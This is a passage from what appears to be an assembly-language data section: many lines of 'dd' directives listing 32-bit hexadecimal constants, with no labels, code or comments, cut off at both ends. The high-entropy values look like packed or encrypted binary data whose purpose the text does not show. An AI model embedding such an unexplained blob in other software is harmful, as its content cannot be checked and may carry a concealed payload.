900AC18Eh, 0F26512C0h dd 0E0FD2EEEh, 2D6701E4h, 4B203E4Eh, 7C6D11A0h, 88C1B450h dd 0D70A09C5h, 0A4B749D6h, 96814210h, 81477FA8h, 0DA550CD9h dd 4684B092h, 0A05E9944h, 0FA4CB3A8h, 5F598024h, 1D767177h dd 40E35155h, 8DB2231Bh, 0D104BF29h, 0C27F4A22h, 396758A4h dd 8A3DE148h dd 2BAC0581h, 0C0790AB5h, 0D0B5E9CEh, 0B97898C6h, 0E8C60708h dd 0A834815Fh, 809CF04Ch, 9416A622h, 617B406Ch, 6C071210h dd 6716DFEFh, 582F9601h, 28000831h, 4A12C649h, 0B8BC4029h dd 35C56B57h, 2A4851C3h, 62B7E0C3h, 0EDD40445h, 0C250A281h dd 28207B80h, 9202F2h, 396F4A7Ah, 6A58756h, 0EDB9BD01h dd 42C26D6Eh, 0D851A0h, 48571179h, 6907B224h, 0BAA36B05h dd 0E8C0987Fh, 0A20C44C6h, 3811C048h, 0E04026A3h, 0FB1E0441h dd 0BAC0C36Eh, 60FDE4C1h, 0D40123ACh, 0EE582275h, 5870C1F9h dd 30C940F1h, 0B4D55526h, 3022AB1Eh, 0C29137C5h, 0D23B04F1h dd 78358083h, 2AF22BE3h, 0BE5A07B0h, 0D96848B8h, 79E71C8Fh dd 438538A2h, 2802C347h, 8406082Dh, 3053E8ACh, 4A6DA2B4h dd 0DBEF6409h, 363E800Dh, 1647F5ABh, 0F1B5DD6h, 1D255A4h dd 359D93FEh, 0C0D8386Bh, 29E5ED83h, 0DBD20F2Fh, 0B96130EBh dd 85BFA255h, 2313C598h, 0D6FE9821h, 0CC637461h, 5800D443h dd 862B3263h, 75000DECh, 1030D5B3h, 16AB8F5Ah, 42AA46Fh dd 44B4B098h, 55492690h, 947010C8h, 0E493B500h, 0C19E37D4h dd 832B2E2Ch, 36170389h, 8FF8ECDFh, 0DA0B6A01h, 26B30A3h dd 82C545C4h, 283BA92Ch, 24C911CCh, 0E5E4D8B2h, 0D124B346h dd 0DE12E100h, 0ED65899Dh, 1D297EA1h, 4A66A227h, 60EC63CBh dd 0E71A68Dh, 1CFB5A03h, 0D09523B5h, 0C4C4BA24h, 0B412C5C9h dd 0EE0954D0h, 0A5E0DB49h, 2400C288h, 79AAA7D6h, 1EFB1F63h dd 0E9B94416h, 186888C5h, 0A3BE5304h, 11804320h, 0F9E28B14h dd 0CF006023h, 0F1EE533Ch, 0CD4B2409h, 0C60B1449h, 0C04200E8h dd 4C3CC457h, 6C0443ADh, 981B3895h, 35007CE3h, 1E755A28h dd 340014CDh, 4CDFF2B9h, 9AAF898Bh, 22454B4Ch, 0CC66A2F0h dd 38B1BD28h, 70FB60EEh, 83001653h, 1D692F43h, 25F33A6Eh dd 4027B3D5h, 560E500Ah, 6A00BBDCh, 5BE83999h, 0B0BEE051h dd 0B51F1988h, 2967716Dh, 784807FCh, 12C0BCE8h, 7E3E94h dd 0EFB3B957h, 0FA509E47h, 2453C0Bh, 0C438098Fh, 72830794h dd 0D179AB38h, 0E9F8F6F9h, 0B5882007h, 808C585Ch, 45C34BD6h dd 4AF0C398h, 790A9268h, 0B7159940h, 0FE12FD39h, 0D832A778h dd 9A7B3048h, 2A22FE0Fh, 0DB54A01Bh, 0DD2576h, 4162E4EDh dd 4669A934h, 4037B826h, 80DF5302h, 10D47990h, 44A6C89Ch dd 1878E253h, 0BE1922B3h, 5F281F9Dh, 0A45E40E9h, 3E4278C4h dd 144C717Eh, 0E73F8600h, 0E3BE44A8h, 0A84CC105h, 0EC632D59h dd 0C480A1A2h, 26FC46FAh, 2540188Bh, 14C0C81Ah, 0B026493h dd 0B03C8847h, 28712Dh, 7566DCB8h, 0EC1D679Ch, 2580A195h dd 64E55519h, 80AC9456h, 9CA58577h, 0B81D2B6Eh, 2DCFF159h dd 64C1364Dh, 88406BDFh, 80B57340h, 3B8921B3h, 678FCh dd 0B143A07Eh, 0AF2C6EF4h, 0CB545D3Ah, 8D798045h, 309BD432h dd 9509AC54h, 4867E8B9h, 0F65CE4h, 2B264C6Bh, 0C53ABC9Ch dd 45411F67h, 18D0F210h, 0BE8300B1h, 0F9E165ABh, 350327DFh dd 0B0560AC4h, 44C89D3Ch, 0C7EE1E51h, 0D12AC0F1h, 0E44B7730h dd 47217400h, 3BDF9C6Fh, 37CE4F1Fh, 42D04574h, 0A24E44BCh dd 891D8451h, 5E00B1DFh, 30860F95h, 6E170064h, 0F8C69616h dd 2A013662h, 80BCED73h, 14384D8Ch, 472EA491h, 8A8B6FE4h dd 0C01440ABh, 9077AF46h, 11462108h, 0ACFECD02h, 0A7452C5h dd 85F2E470h, 0A91019Eh, 0C83B113Fh, 4EB0DFE9h, 0B8A148ECh dd 542956h, 0C29BEA1h, 9CC204B7h, 7C059FC8h, 0D0802F3Eh dd 0BCE9EDDFh, 5D5EA369h, 0B1E34C23h, 42E04B05h, 0E4AF00D3h dd 8AEB3031h, 1901CF12h, 0E046E32Ch, 58238B80h, 0C5E54906h dd 7200693Eh, 405474F2h, 0EA1FB24Ch, 23833DD7h, 0C56924FEh dd 2C9340C4h, 980001B2h, 13A5A6EDh, 5A0AFBDFh, 0EF071C1h dd 790C01F6h, 25FA4A18h, 989B4418h, 0A89F79C1h, 9A696510h dd 0BD449988h, 1D972C00h, 5FEB4B16h, 48EF8003h, 0E17DF0FBh dd 6440C217h, 1C1AB265h, 4057C5EDh, 6172483Ch, 0EE02AFFAh dd 8E53B82Eh, 9CFCD044h, 0A8744038h, 51005975h, 220AD06Bh dd 7545A64Ah, 0C3970B3Ah, 600BF210h, 0CD1F3CA2h, 6750FCE4h dd 0DC010564h, 1791B78Dh, 93208C08h, 0DE84BBAh, 359A3084h dd 9C3364h, 0B0EA43F7h, 1F3D7761h, 12DAF00Fh, 4A5800B8h dd 6230E0BDh, 0C7556618h, 11D1071h, 0C0FCE3EAh, 50C6279Dh dd 3F92DD64h, 2FFBF00h, 0EE88D468h, 0CB70CEh, 9620FE1Fh dd 54D2DFECh, 2C834C99h, 0D0783284h, 31B599Bh, 5F257CD5h dd 0CED03B9Eh, 0E501C1ADh, 2A8FC7DFh, 0C31FEEEh, 0E96E9C20h dd 0C6D43004h, 5C1FADA2h, 6C9F9552h, 82943200h, 0E6A30617h dd 3C514856h, 58AFB900h, 67EB1D96h, 1CCC49h, 0FC1B6021h dd 73D886F7h, 31855BD7h, 6C3C8FA0h, 6DBB8098h, 5A4317h dd 0A52CF386h, 0ED89B31Eh, 0B69F6500h, 443BCB58h, 528CBE4Ah dd 38AE1760h, 0FF11E300h, 0AB7DF7D3h, 3CF61236h, 2164DCF3h dd 0A0308E41h, 256200CDh, 6B34B847h, 0C417CAA3h, 0B020C56Ah dd 202B28Dh, 5C868C30h, 0BC413977h, 0A1A068A3h, 2F886BBh dd 7647002Eh, 6BF9DF4Fh, 1507FC2Ch, 4514E382h, 13C63DE1h dd 0C8015C44h, 468DF85Fh, 0E82678CDh, 90B32D12h, 906C9AE4h dd 0EE673102h, 0C256C180h, 6BD811FCh, 3B43E4CCh, 8780F6D6h dd 397FB37h, 0E600F5BCh, 0A0B49AD2h, 0E8D3805h, 2A3F1E55h dd 1CEEF189h, 8B1C4176h, 841BAA6h, 8D28121Ah, 0D6DD2A30h dd 472C8C20h, 0A7883101h, 492AD779h, 0FE6AA042h, 0C90270Bh dd 0AE000EAFh, 51622720h, 9EEC248h, 4943C49Ch, 28B0E600h dd 59016AE0h, 7AD0DFEDh, 0C474B6AFh, 4E018643h, 0E74ABAEDh dd 3870E66Ah, 6BD205EEh, 82C0C9F3h, 0F027F4DCh, 0EC74C170h dd 0CB4B01C7h, 56B8D19Fh, 60F431EEh, 389C1248h, 0DF74E140h dd 0CE2F01A2h, 37D6BF56h, 41A0D8F9h, 0E78DD700h, 0C4B89C5Bh dd 9F470049h, 9D72ED1Dh, 0DC000F64h, 0A4E4CAD5h, 0CD2A81h dd 87559A61h, 0F163D4F9h, 57BB3F0Ah, 0B8208058h, 0B49E3C28h dd 3783458h, 0AFC93641h, 888DDC43h, 9030D2F4h, 0B1334BAh dd 5F8B220h, 0F64E8F1Dh, 81D35E80h, 0EDC11F4Dh, 61AB412Ah dd 0F835310Ch, 0ECA5C2B8h, 0A2568400h, 138F8CC4h, 86D8BB3h dd 998AC918h, 0F11CD345h, 0F9CB4F40h, 7CF35AE4h, 51660930h dd 5051D334h, 2855F200h, 0F7FEE0A3h, 3800BDE3h, 84BA7C75h dd 5EA8003Dh, 23D236FBh, 2C2CE8DBh, 490774B6h, 4A2047BBh dd 901AF4E3h, 7C6158B8h, 82D56C0h, 0A700B8B1h, 0A4CA4AE4h dd 0B7CF2Fh, 3BA1948Dh, 0FD4074B4h, 0C555B518h, 12D0179h dd 926CC48Fh, 0ECC6E19Ch, 861677CBh, 0CC88D1A8h, 3C000A5h dd 0AE996E8h, 0F67F26AFh, 1C788D00h, 0BC0BBF32h, 0C5EC127Dh dd 0CC6024F9h, 1A01F894h, 74FCFF6Ah, 0D5FFC09Ch, 2A93D81Fh dd 80431808h, 7586FB79h, 19011CEFh, 1B7F3062h, 0E6D4C5CEh dd 172FFC46h, 30FE2DBCh, 0D63E81C8h, 951D1B0Bh, 0A54843Ch dd 0C5DFB941h, 0B508403Dh, 7F225D54h, 0C4C0811Dh, 6ACBD410h dd 0AB672700h, 445E1D84h, 19D014FFh, 1F172098h, 45B4C8B7h dd 0BD35360Fh, 51B08D69h, 7D6B0BF0h, 0BAEA0E6Eh, 4C61EE65h dd 7847440Fh, 0C5A38804h, 14ECB34Ch, 0C088C871h, 0D58D8376h dd 92EE1C74h, 12C40021h, 0E0A794AEh, 7CB82D3Fh, 90B52425h dd 16D3C5ECh, 841B9943h dd 0CED48010h, 0C704FBFEh, 0A479DC51h, 0CDD0C8h, 243F3A02h dd 72F36AEFh, 452C477h, 4A450598h, 90C02836h, 0B8847A2h dd 562A824Bh, 33698848h, 3E181300h, 0D194AFC6h, 23240258h dd 41541275h, 39009059h, 0D5B2A75Dh, 85580194h, 0BD2CCC44h dd 0D9483034h, 0FF80D899h, 0F485D521h, 0FCC73253h, 1CE89D70h dd 51CE8067h, 0EA87A068h, 4D89D2h, 0D981A9BBh, 0D66C5B98h dd 319F4927h, 281911B8h, 0C1418FFCh, 8443C8A5h, 526E170h dd 9C9D4B40h, 8BA404ADh, 35960110h, 98306848h, 47C2450Dh dd 64807830h, 57D654CEh, 4226003Eh, 0E539CD2Dh, 0FD31B91Fh dd 0A1889BCh, 0E4202C17h, 94C45480h, 483486A8h, 942C6862h dd 6BE094BEh, 1F7B110h, 4B283A21h, 0DC15F2B6h, 0CE16A2A4h dd 54060346h, 3159BE48h, 1379C3A0h, 22642317h, 7684866Ch dd 63FB042Bh, 0C37C2D6Dh, 9BB2451Eh, 9498E062h, 30FAC04h dd 0A91209C9h, 80488E2Fh, 91809D43h, 6CC54889h, 60B04982h dd 0A41030A0h, 1500A798h, 95BC29DEh, 0E29CAD3Dh, 99440945h dd 58100BF7h, 32D05CDh, 0FB405B2h, 0A06A1C80h, 90F651FBh dd 0B985C047h, 2FC698C2h, 0CD3A680h, 0B2E868E9h, 0CCC5E11Fh dd 20C46915h, 0CB2820E2h, 0EF4A301Eh, 633EC6C4h, 3B5B8A0h dd 24A6F2D0h, 2920DCB9h, 0E4D45837h, 224DF711h, 5A91002Ah dd 0DE67C283h, 0EE07A181h, 0F4B5FCC1h, 18BA1021h, 248AC9F4h dd 2CF0B123h, 133460D8h, 6300D004h, 0F8A4EF40h, 22CA929h dd 6306166h, 0ACE0A631h, 350F8F12h, 296345Ch, 604B39CEh dd 92A09910h, 92B9F884h, 0D0B60278h, 0B0249A3Dh, 82A1871h dd 0D8094031h, 0C500C9A8h, 68A11547h, 7F9F101Fh, 0E080065h dd 0D97A0C2Eh, 0EB0032A1h, 0AC6274A2h, 5B7E1004h, 711043C2h dd 0DEA89397h, 0AF1FC38Dh, 83C995AAh, 92BCB3F0h, 0B7C41EDh dd 9C9EE010h, 0EE9FA009h, 0D8C42Bh, 693D2207h, 3AAB27BEh dd 0F01AF700h, 3554C92Ch, 0C79026F4h, 0BC2409C8h, 4CA810EBh dd 0E4B4441Ah, 4A516B40h, 81C0B8C6h, 8103670h, 5E48AABDh dd 0D0122C59h, 2216A832h, 8CC4BC1Fh, 0A700C4B9h, 198A0797h dd 28727Dh, 30EE136Eh, 0BF512E3Dh, 42A67915h, 64F012B8h dd 80A54823h, 1023823h, 7DFF689Fh, 6836BDADh, 816680BCh dd 1E6149FEh, 0F79596h, 5370524Fh, 0F12672DBh, 253BBC76h dd 247860E5h, 50B496C4h, 6E0EE68Ah, 5B1CE94h, 3000B2BDh dd 5CF542DAh, 0E13E0750h, 7EDE11B5h, 0FE942461h, 13C686Ah dd 0E048B142h, 54228B4Ch, 0F9BC804Ah, 6200DFAFh, 67BD1CF8h dd 0E921B6Fh, 0F661CB4Ah, 0D4EE413Dh, 53C28B79h, 0B0225480h dd 90B665A1h, 0AA42C0D9h, 0AF16A36Ah, 8C11622h, 0D21024B2h dd 43009B5Bh, 0C6EA7750h, 1FF913E2h, 57613772h, 0DF890004h dd 0CD10F295h, 0E8AC6A29h, 0F1397B01h, 67FC5F40h, 0D37D06A3h dd 98EDE7CDh, 0C00EA417h, 652098h, 2FE36089h, 73C3D457h dd 0ECB1D900h, 1141B93Fh, 5A10583h, 0F4406791h, 0F912CCC4h dd 70A2C434h, 492E1022h, 4E11285Eh, 50320051h, 15580B03h dd 0DF987ED9h, 0E7739321h, 1ABA8800h, 593B6C85h, 38D902ECh dd 6AA80C6Eh, 0F4471474h, 15C010B7h, 210694h, 887FE872h dd 65892B3Eh, 31D6D502h, 0D176B7C0h, 44901464h, 0E6B0C440h dd 0B38EAB8h, 0CCE04CA3h, 0C9E80CA6h, 0F8B2F8F6h, 4F1F4144h dd 796C88C1h, 5C428A4Ah, 0E0D64DF0h, 91C6D338h, 75CB80A8h dd 0AB035B02h, 0D2908E0Ch, 45B94834h, 253420C8h, 0D1B5E28Bh dd 9C44A71Ch, 0EF21CE00h, 0B7473781h, 7B6700EAh, 59F7C0AEh dd 2F12B625h, 8013A2D4h, 2D47E868h, 20101070h, 0EF002502h dd 90A24D57h, 95B3677Ch, 13653420h, 97179238h, 0CC89E43h dd 994286A2h, 1E56B313h, 0C41F0940h, 4D000044h, 6B37F074h dd 0D31906C5h, 6AE48839h, 98B98DFh, 0C66412D8h, 7A87D9Ch dd 25656CF2h, 4563B01Bh, 4CF86BD3h, 31412E0Bh, 6A3884A3h dd 0CE1D1300h, 2360BADDh, 3685A108h, 577C392Eh, 0CDF96280h dd 9EFE9DF7h, 4F391700h, 219C3381h, 0FDDE0014h, 84C7C816h dd 0B600321Fh, 0CE28A1DFh, 3875887Dh, 4A00CA86h, 0F031794Fh dd 21DEEE49h, 7115BA0Ch, 0E5983CC0h, 0DB7FEF0Ch, 0DC107221h dd 1063CD67h, 8788E82h, 1E14A800h, 0B15BEEFDh, 8CD5387Fh dd 7C105D01h, 858F8398h, 8814EA29h, 23E0C203h, 4B2ED87Eh dd 0EF960C9Ah, 0FD59D54Ah, 0A97C3B15h, 6F800030h, 849F8BF4h dd 3C780003h, 0A731D50h, 0EC31B64Ah, 2DAE3994h, 5429C180h dd 47D877FEh, 2CC5A00h, 6B34F7EBh, 73FF7B2Dh, 41E51C27h dd 0C1955E4Eh, 84632E44h, 0D3B8E747h, 0B81417AAh, 5AE49A9h dd 0CF54EF94h, 80917C08h, 0D60BA03Ch, 0CC002EFAh, 1381BB12h dd 82F94Dh, 0BC21796Dh, 0F50FCD4Eh, 52EF9CA8h, 0CC49E461h dd 0B18A291Ah, 80ACD811h, 783C9152h, 190C4F22h, 0A872CD60h dd 106A0254h, 5CA42DDAh, 0E5281C80h, 0C150D968h, 48339BA4h dd 3F358E6h, 0FAB87A71h, 10DEE5AEh, 5A38C100h, 0CD7F9764h dd 4CFF5415h, 16C0A6E5h, 74E0AAh, 121C4F57h, 0B85048F0h dd 7F189010h, 4928FB94h, 991138DDh, 2789610Ch, 480AA698h dd 5410CC3Eh, 8B4D6B00h, 0C2B9E54h, 0FB113715h, 0B589D9C1h dd 0B05298D1h, 5C772096h, 0DA01E3D1h, 1D814575h, 5894D82Ch dd 57105CF1h, 583680E0h, 0D09C5EFFh, 0A6079C41h, 6349B59Dh dd 19008782h, 0A2FA5706h, 0FF3A80h, 0F68B1AB6h, 9962FB9h dd 3C394A90h, 9205BAD0h, 1440DF04h, 4D2A3580h, 0DD09486Ah dd 4836EC0Fh, 19F382A0h, 942ACB30h, 2801B475h, 49D06838h dd 0ACF09DD4h, 0B519C644h, 0A000B1CAh, 4B538FFEh, 24CBC36Ch dd 3F0EE4h, 633D6ACCh, 0B10A0D4Ah, 0AC7F67FFh, 0FC739485h dd 80E72408h, 6B293C8Fh, 0C001707Fh, 3FAB135Bh, 74C481E9h dd 179CA495h, 1FA847FDh, 0F0D0F718h, 822D1475h, 0BAD40654h dd 35ACF054h, 427F7E00h, 18DA58AAh, 0D4D4A057h, 5A311C48h dd 0FFF3C0B5h, 0A5F7B116h, 39BD4212h, 41FAC00Ch, 0DAB70006h dd 0F5D724Ch, 0B93A6F0Bh, 804CC8CCh, 0A0FA2E48h, 0F84C12A2h dd 5ACB0A7Ch, 72410E74h, 8CB43072h, 9C00FCC3h, 0DA38A4Fh dd 67FDE2h, 3EC605BAh, 2E65371Fh, 0DF0CFF00h, 0B7599C38h dd 0D3C81E2Dh, 7398EA11h, 7F00Eh, 3457606Bh, 0B69C3F48h dd 43BB7E03h, 0A56EC5B7h, 725184Bh, 5F40F799h, 1BA69Ch dd 0D4195AC9h, 62739A55h, 0EFA27204h, 0CC85648h, 0AB9A8888h dd 0B560E600h, 0E10E0A17h, 0BDF60357h, 9337D90Bh, 2A5C7BA0h dd 0E8105A29h, 0FB0A3A07h, 96016750h, 559A00BEh, 92185B2Dh dd 5906815Dh, 0D6A79498h, 0F2E1431h, 7C00E440h, 432CF93Fh dd 0D3627094h, 445DFF21h, 0CF40A184h, 0E0353811h, 0CC60B6ADh dd 5C75C8B9h, 4A403B6Fh, 0AFF6D682h, 0F940E683h, 41E837FFh dd 8AAA81Dh, 24A7EF83h, 0E253A197h, 13CC418Ah, 9D41CEECh dd 24DA5311h, 688AE954h, 382490AAh, 2900878Bh, 60AB0814h dd 0CC71C123h, 0A94A1635h, 46A93444h, 813BAFC1h, 4C940970h dd 0E2807CA6h, 0B748ECFFh, 0D600A891h, 0A2595B92h, 17771ADh dd 6DEB7A90h, 0E8244D4Eh, 130221D1h, 71911702h, 5A8891CAh dd 694CD0D8h, 640268FBh, 0A4997491h, 86A80C65h, 8788E8D0h dd 0BA1373C1h, 32A17818h, 0D83041DBh, 1600502Ah, 37249BEBh dd 448CB07Bh, 6800F887h dd 17232E67h, 0D6708Eh, 0E6807BF0h, 19332012h, 0CC43590Eh dd 0EF61F818h, 0F9D3634Bh, 49018582h, 0B26236D9h, 53FC24EDh dd 0C0D51D71h, 7DD4C02Dh, 0ED85CD2h, 7A948E14h, 4212C0A4h dd 318E0A8h, 0FC1C8252h, 0F8216636h, 0F9A60886h, 80FCB594h dd 4781DA2Bh, 0FECC06B4h, 9844BB4Eh, 1A6EDB44h, 308CC1DAh dd 0F48B9440h, 0A0C2698h, 51C57391h, 42351A9Ch, 44705Dh dd 0A11CBA30h, 0BE31F0h, 0B5804B15h, 3D2F6295h, 0CA433A00h dd 2A3EAAF7h, 7B940B14h, 0B431CCB3h, 840D0C7Eh, 0CD524CF8h dd 8F229Ch, 31BAA921h, 2E93DC15h, 0E9BF1E2Ch, 7021191Bh dd 0CA3416C0h, 0B97C0A82h, 4D6A010Ch, 64DA9A88h, 0D7601114h dd 0C30974D9h, 435F16C8h, 767830F9h, 100AF81h, 0FF6C4194h dd 1BE457h, 8822F1FDh, 0DEE385FAh, 0B4B64929h, 0B9409500h dd 704D64Eh, 0D0E7B14h, 0FFD706Eh, 62012DBDh, 0D9646718h dd 1032119Bh, 1237A800h, 0E0FA613Eh, 0BC2E7036h, 0A4FC00B9h dd 0AF014AF8h, 0A7002916h, 0CD7E64E3h, 0BAA20C1Fh, 94920138h dd 0D7FAE77Fh, 9898472Ch, 0B2A4E680h, 0AB7EDAh, 56D7B395h dd 8106E443h, 962C9104h, 4C8C2E5Dh, 0A6501A3h, 0BF3A1318h dd 0CDF6C036h, 7324A200h, 824F1D4Ah, 423D2851h, 9D793EE4h dd 9728B12h, 281A54B0h, 43D4B004h, 807A0FBDh, 14126166h dd 0CC2C7E7Dh, 0C42AC6A2h, 4CA27829h, 9B783Dh, 84228CA2h dd 3A8E442h, 0A4C037BDh, 69A89904h, 0DC0A3862h, 44DDE66Dh dd 10E21032h, 2A6115CCh, 9D1BC161h, 30CA7092h, 2DB40CFCh dd 0E51F08C1h, 19C8DC72h, 507CB0F9h, 15A14CDh, 0AFE9E6C0h dd 0D09D4D7Dh, 84984986h, 0D8B898ECh, 8F11621h, 7581DB51h dd 85E4A8A6h, 6FE3F430h, 0D81451E1h, 89754B80h, 8003BA3Eh dd 6F32236Dh, 3DB0970Ch, 0BFA69Eh, 2F789D46h, 71A94D62h dd 0F52EE401h, 0D0B56836h, 0A5AE6987h, 627C0DFh, 5C1FCD44h dd 0DA474983h, 0E5C1DB9Ch, 68D1C133h, 16CC6E6h, 0AFA53FA4h dd 0D81AD2F8h, 8400AA7Eh, 6EEB6A6Dh, 13737DC0h, 19987C3Bh dd 182C83Ch, 0B501DE87h, 0F68180E3h, 778A86Ah, 1225029Fh dd 7EEE77B1h, 0FD0030C4h, 5AD8B521h, 75C15BFh, 0F4A256Ch dd 0C7CCC472h, 0CB96B210h, 0A900B853h, 0BB08849Ah, 476124C3h dd 0C8210478h, 44A2DEh, 34350FDAh, 514E4724h, 1430F079h dd 582B5D5Ch, 8C8EEF00h, 5BCC49AAh, 0F950BF12h, 0F06E3C0Ah dd 0A936FD60h, 0E76A0197h, 0AEFAF757h, 0CC21A3EEh, 1DA99240h dd 0D1113742h, 8F0C6749h, 0BC3BBAC0h, 0D0008425h, 0FFC7F25Eh dd 0C01936E0h, 0CDACCCC0h, 0F1D2B615h, 0CA75E48Ch, 1D88AB20h dd 0BD586087h, 479D1984h, 19827A39h, 0B1814EC1h, 9B638060h dd 8C80E496h, 0C524FDE8h, 17CC262Dh, 325164BCh, 0EC00120Fh dd 73AC90EDh, 0D28CE148h, 80D94880h, 0FB88A117h, 697BA610h dd 0F02C9500h, 0CFD1ECA0h, 7C3C160Eh, 0B88414E9h, 70A9A0D9h dd 7F023518h, 9D5D2E4Ch, 0D1D08680h, 548F081h, 99E9FFE7h dd 94901D0Fh, 7F3080C8h, 1C4EC449h, 49EE7304h, 2890A22Eh dd 650EA16h, 0B566DC96h, 6100D9CBh, 9C1C7E98h, 0FDF36h dd 580A9785h, 0C134EC6Ah, 83F92925h, 0A9F03A9Ch, 0AE119766h dd 0A9718019h, 5B1A01B7h, 78880734h, 40049CF7h, 0B05A20BAh dd 0CFD02F5Ch, 8040DED5h, 0ED705369h, 442E008Ah, 0B5B25D2h dd 9F091D2Dh, 42AC4CBFh, 135C98F4h, 0B5C20084h, 0BC54468Dh dd 0B805A89Dh, 8749475h, 6C40E894h, 2667EA87h, 9185002Fh dd 45B4EB49h, 62314FCCh, 46EF5A20h, 0C228020h, 8161FF11h dd 71489469h, 600F9FF8h, 28D89293h, 6E981D47h, 3B71C302h dd 90294D78h, 0E50388BAh, 0B09E4A63h, 0D83617h, 0B2D1E24h dd 9DA57049h, 5FFF520Bh, 1B10AB8Bh, 30F188B4h, 43E90026h dd 76B81312h, 870C88D0h, 0F0B634F0h, 9CBA4C6Dh, 8EAE9480h dd 7E057680h, 2FD81E8Dh, 3BB8CCC0h, 0C8B9488Ch, 0E1309680h dd 0D1004F5Fh, 3C6EF3Ch, 48042147h, 29221CC5h, 402D6137h dd 609A4DA2h, 89DA7A5Ch, 97CF10DEh, 666817D0h, 0E6400842h dd 270ECC85h, 8BDAE8CCh, 8FF4AFD9h, 0A0C79D89h, 0B783B547h dd 75960187h, 7CBE534Ah, 0E0CB5461h, 5A00DD98h, 6F2468CDh dd 90424877h, 69308038h, 6F63C72h, 17BC1F24h, 5B1C01E8h dd 80D1B5C3h, 35F31579h, 1E89D9B4h, 716C50h, 6B267330h dd 0B03E3DE1h, 0FA2F8549h, 74C9AD90h, 0A498CC03h, 4C494100h dd 297C9DF7h, 813B5E34h, 6758C030h, 0DFBC3B9Eh, 6BC89A00h dd 0B1E068D9h, 9BCECB04h, 2EF9D48h, 14CC0416h, 9C006089h dd 1EEC7BB4h, 0C051FA12h, 0A32CC8h, 8E2C9832h, 6785EF06h dd 81786204h, 5E831869h, 0E05858D9h, 4DEFDC0Bh, 0D8358849h dd 0E100BA74h, 0AD220142h, 1AFF60A6h, 0B9268F5Bh, 0E800287Ah dd 0E7DC1022h, 10E3853h, 0A6DFF8F3h, 4C68E658h, 94996934h dd 0B9AA3B00h, 0FBEF99C6h, 49C7543Ch, 4771D026h, 0E50044C9h dd 7018E1D9h, 13541E6Ch, 7741FFh, 465A02E5h, 0E4009958h dd 6671E557h, 0FBB812h, 64FA4116h, 0DC73A760h, 852BEB03h dd 373E6CE0h, 4C944651h, 0EB6F8A38h, 6E708008h, 1BACFD5h dd 3B6A8635h, 80D4FE50h, 0B020FB29h, 7B81796h, 0CD52D213h dd 10074742h, 88D1C987h, 185E1C00h, 75954F11h, 0B7BA1866h dd 0EBFE90F5h, 0F6D749C5h, 0DF4CC900h, 0A0A305Bh, 0D369463Ah dd 4CEC1148h, 0F81224E0h, 78A4B101h, 0ABD4C59Ah, 0D1C23FA9h dd 0D147D018h, 56011602h, 0AB8E9909h, 80E7BB9Eh, 683B3E7h dd 0FE6FEDF0h, 7A0061D8h, 85B44D9Dh, 1F5E3419h, 0CC77E910h dd 6179DF6Ch, 6271EF00h, 0C4A66DDAh, 0FEDC3E3Dh, 1575B4D4h dd 0A0D0BE12h, 255CA07Ch, 202B07EEh, 0E3F80B1Dh, 90E08CE3h dd 0EF051701h, 0FE02DF3Ch, 3403A1C4h, 1EBB64F5h, 41598549h dd 0D3627F78h, 0AB02CCA0h, 0E2ED8018h, 60F961h, 8C0D484Dh dd 0F61D899h, 49D049C7h, 0CCF0048h, 8E123CBCh, 7A5E3E00h dd 0B073A64Ah, 6702249Bh, 60D86110h, 3E2042E6h, 0E36F7422h dd 0A9A9DB90h, 1847BA5Eh, 38008AF5h, 45754E24h, 9FA5018Eh dd 0B972CCCFh, 0B71060C4h, 2CB2A901h, 48D0E85Eh, 0EFAF5984h dd 0D28C01Eh, 0AC014F2Fh, 0BA0A803Ch, 2C408185h, 0F492ED26h dd 0F3C800D7h, 8A05AE9Eh, 8205B1BCh, 63DF7410h, 88C411h dd 76C498B7h, 0F24E1E16h, 61D600D1h, 0BC4B1083h, 0E7242906h dd 539348DCh, 46DE5A01h, 41BC196Ah, 924CA548h, 97F4157Fh dd 0D900F08Ah, 2E90D275h, 0D829DCEAh, 1200D85Dh, 0AB03200Eh dd 156C91BDh, 0D834E0EBh, 3FA82224h, 71D47F20h, 75A803FAh dd 0D264E603h, 7CED313Bh, 5ED83D0Eh, 0C0E49526h, 22ACCEBFh dd 0DA6D00D6h, 0FF581216h, 3E009C4Ch, 0E5547565h, 0CE075DE0h dd 27D24631h, 5168C670h, 67F653F8h, 0F13C2C07h, 0C94C624Ah dd 897860C0h, 1DB6F785h, 0BA094977h, 1E198605h, 70510070h dd 0AF8FB6F6h, 538C252h, 364980DAh, 8448AA6Ch, 0FDBA05C6h dd 4077F4D6h, 0BFE94E1Ch, 600500Eh, 69841052h, 2E450BE4h dd 6D0C413h, 71D864BDh, 16CAB0Fh, 8EED203Eh, 1DA782EFh dd 9247147Ch, 20C404D1h, 0B14DCE2h, 0F34CA300h, 0B28E5F73h dd 81DB17F5h, 0E8FF0AA2h, 0E8D1164h, 806F6A10h, 2A9060B4h dd 0F7C10033h, 9E4EECEBh, 0AA02F6B7h, 0CA644F7Dh, 7A384640h dd 0C3E00032h, 8CD3DB56h dd 0EE1295C1h, 240EF9D0h, 0DC408086h, 189F7D65h, 39CEFEDDh dd 64314E75h, 2B9E89DEh, 98D601FCh, 20A702FCh, 71A6986Dh dd 6453D460h, 543D2EFEh, 0D8902A94h, 6A47610Ch, 52E0F943h dd 5001F065h, 0C81297ECh, 0FC61A4E6h, 0B808A213h, 0B02B80EAh dd 3EA35906h, 1105B109h, 0FE6018DEh, 2C29C0D6h, 0AC64131Bh dd 9C532924h, 6046E903h, 0F9210CDCh, 0D792CC9h, 7A2DE601h dd 0C40F2E10h, 7A556060h, 357205D8h, 538EB909h, 0A23C0088h dd 88AC65EAh, 0CCEF8300h, 0E5A0C448h, 9D4F09D0h, 0B787F3DAh dd 34D1C067h, 0CCFBB4FAh, 2CF2C4D5h, 54CB0204h, 0A387AF11h dd 63F3605Fh, 0E92A438Eh, 7B534086h, 0B4F8488Dh, 0B0F61900h dd 0EC694061h, 2FF00003h, 6BB1D1DDh, 609F4326h, 3BDC5B3h dd 0C33D1916h, 893C5A6Fh, 1E49EF52h, 3C2ED780h, 683EB8Bh dd 0D2229712h, 0A500219Ch, 981C6D25h, 0C05D74C3h, 449A6441h dd 8230E740h, 249530D8h, 0F53E1CC4h, 43C7ABDh, 0BCA13D79h dd 3083F29Ch, 0B9819E21h, 261B3018h, 520410h, 737B48C3h dd 0B308A12Ah, 1B060A0Ch, 0B212Bh, 0BB5FC9DDh, 7D91679Ah dd 0D700937Bh, 251285B3h, 0C64CF3h, 0AD9BC4F8h, 35C08CF2h dd 6B53A31Ch, 0FB68837h, 7FC41E08h, 0C8007D22h, 0D4B69C3Eh dd 